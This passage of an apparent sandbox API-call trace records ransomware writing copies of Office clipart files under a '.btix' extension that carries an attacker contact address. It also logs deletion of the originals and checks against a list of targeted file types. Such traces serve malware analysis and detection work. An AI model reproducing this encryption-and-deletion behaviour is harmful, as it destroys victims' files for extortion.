lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.411] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.411] GetLastError () returned 0x0 [0153.411] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x13d4, lpOverlapped=0x0) returned 1 [0153.412] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x13e0, lpOverlapped=0x0) returned 1 [0153.413] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.413] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.413] SetEndOfFile (hFile=0x348) returned 1 [0153.413] CloseHandle (hObject=0x348) returned 1 [0153.415] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.415] SetEndOfFile (hFile=0x358) returned 1 [0153.416] CloseHandle (hObject=0x358) returned 1 [0153.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0153.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0153.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0153.417] lstrlenW (lpString=".doc") returned 4 [0153.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.417] lstrlenW (lpString=".docx") returned 5 [0153.417] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.417] lstrlenW (lpString=".pdf") returned 4 [0153.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.417] lstrlenW (lpString=".xls") returned 4 [0153.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.417] lstrlenW (lpString=".xlsx") returned 5 [0153.417] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.417] lstrlenW (lpString=".ppt") returned 4 [0153.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0153.417] lstrlenW (lpString=".zip") returned 4 [0153.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.417] lstrlenW (lpString=".rar") returned 4 [0153.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.417] lstrlenW (lpString=".bz2") returned 4 [0153.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.417] lstrlenW (lpString=".7z") returned 3 [0153.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0153.417] lstrlenW (lpString=".dbf") returned 4 [0153.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0153.417] lstrlenW (lpString=".1cd") returned 4 [0153.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0153.417] lstrlenW (lpString=".jpg") returned 4 [0153.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.418] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.418] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.418] GetLastError () returned 0x0 [0153.418] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5c78, lpOverlapped=0x0) returned 1 [0153.419] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5c80, lpOverlapped=0x0) returned 1 [0153.424] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.424] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.424] SetEndOfFile (hFile=0x348) returned 1 [0153.424] CloseHandle (hObject=0x348) returned 1 [0153.424] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.424] SetEndOfFile (hFile=0x358) returned 1 [0153.425] CloseHandle (hObject=0x358) returned 1 [0153.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0153.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0153.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0153.426] lstrlenW (lpString=".doc") returned 4 [0153.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.426] lstrlenW (lpString=".docx") returned 5 [0153.426] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.426] lstrlenW (lpString=".pdf") returned 4 [0153.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.426] lstrlenW (lpString=".xls") returned 4 [0153.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.426] lstrlenW (lpString=".xlsx") returned 5 [0153.426] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.426] lstrlenW (lpString=".ppt") returned 4 [0153.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0153.430] lstrlenW (lpString=".zip") returned 4 [0153.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.430] lstrlenW (lpString=".rar") returned 4 [0153.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString=".bz2") returned 4 [0153.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString=".7z") returned 3 [0153.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0153.430] lstrlenW (lpString=".dbf") returned 4 [0153.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0153.430] lstrlenW (lpString=".1cd") returned 4 [0153.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0153.430] lstrlenW (lpString=".jpg") returned 4 [0153.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.431] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.431] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.431] GetLastError () returned 0x0 [0153.431] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0153.432] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0153.434] ReadFile (in: hFile=0x358, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.434] WriteFile (in: hFile=0x348, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.434] SetEndOfFile (hFile=0x348) returned 1 [0153.434] CloseHandle (hObject=0x348) returned 1 [0153.434] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.434] SetEndOfFile (hFile=0x358) returned 1 [0153.435] CloseHandle (hObject=0x358) returned 1 [0153.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0153.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0153.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0153.436] lstrlenW (lpString=".doc") returned 4 [0153.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.436] lstrlenW (lpString=".docx") returned 5 [0153.436] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.436] lstrlenW (lpString=".pdf") returned 4 [0153.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.436] lstrlenW (lpString=".xls") returned 4 [0153.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.436] lstrlenW (lpString=".xlsx") returned 5 [0153.436] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.436] lstrlenW (lpString=".ppt") returned 4 [0153.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0153.764] lstrlenW (lpString=".zip") returned 4 [0153.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.764] lstrlenW (lpString=".rar") returned 4 [0153.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.764] lstrlenW (lpString=".bz2") returned 4 [0153.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.764] lstrlenW (lpString=".7z") returned 3 [0153.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0153.765] lstrlenW (lpString=".dbf") returned 4 [0153.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0153.765] lstrlenW (lpString=".1cd") returned 4 [0153.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0153.765] lstrlenW (lpString=".jpg") returned 4 [0153.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.765] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.765] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0153.817] GetLastError () returned 0x0 [0153.817] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x22a0, lpOverlapped=0x0) returned 1 [0153.976] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0153.978] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.978] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.978] SetEndOfFile (hFile=0x368) returned 1 [0153.978] CloseHandle (hObject=0x368) returned 1 [0153.978] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.978] SetEndOfFile (hFile=0x36c) returned 1 [0153.979] CloseHandle (hObject=0x36c) returned 1 [0153.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0153.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0153.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0153.980] lstrlenW (lpString=".doc") returned 4 [0153.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.980] lstrlenW (lpString=".docx") returned 5 [0153.980] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.980] lstrlenW (lpString=".pdf") returned 4 [0153.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.980] lstrlenW (lpString=".xls") returned 4 [0153.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.980] lstrlenW (lpString=".xlsx") returned 5 [0153.980] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.980] lstrlenW (lpString=".ppt") returned 4 [0153.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0153.980] lstrlenW (lpString=".zip") returned 4 [0153.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.980] lstrlenW (lpString=".rar") returned 4 [0153.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.980] lstrlenW (lpString=".bz2") returned 4 [0153.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.980] lstrlenW (lpString=".7z") returned 3 [0153.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0153.980] lstrlenW (lpString=".dbf") returned 4 [0153.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0153.981] lstrlenW (lpString=".1cd") returned 4 [0153.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0153.981] lstrlenW (lpString=".jpg") returned 4 [0153.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.983] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.983] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0153.984] GetLastError () returned 0x0 [0153.984] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x36b8, lpOverlapped=0x0) returned 1 [0154.037] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x36c0, lpOverlapped=0x0) returned 1 [0154.039] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.039] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.039] SetEndOfFile (hFile=0x368) returned 1 [0154.039] CloseHandle (hObject=0x368) returned 1 [0154.039] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.039] SetEndOfFile (hFile=0x36c) returned 1 [0154.041] CloseHandle (hObject=0x36c) returned 1 [0154.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0154.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0154.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0154.043] lstrlenW (lpString=".doc") returned 4 [0154.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.043] lstrlenW (lpString=".docx") returned 5 [0154.043] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.043] lstrlenW (lpString=".pdf") returned 4 [0154.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.043] lstrlenW (lpString=".xls") returned 4 [0154.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.043] lstrlenW (lpString=".xlsx") returned 5 [0154.043] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.043] lstrlenW (lpString=".ppt") returned 4 [0154.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0154.043] lstrlenW (lpString=".zip") returned 4 [0154.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.043] lstrlenW (lpString=".rar") returned 4 [0154.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.043] lstrlenW (lpString=".bz2") returned 4 [0154.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.043] lstrlenW (lpString=".7z") returned 3 [0154.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0154.043] lstrlenW (lpString=".dbf") returned 4 [0154.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0154.043] lstrlenW (lpString=".1cd") returned 4 [0154.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0154.044] lstrlenW (lpString=".jpg") returned 4 [0154.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.044] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.044] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.045] GetLastError () returned 0x0 [0154.045] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1a88, lpOverlapped=0x0) returned 1 [0154.058] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0154.060] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.060] WriteFile (in: hFile=0x368, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.060] SetEndOfFile (hFile=0x368) returned 1 [0154.060] CloseHandle (hObject=0x368) returned 1 [0154.060] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.060] SetEndOfFile (hFile=0x36c) returned 1 [0154.061] CloseHandle (hObject=0x36c) returned 1 [0154.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 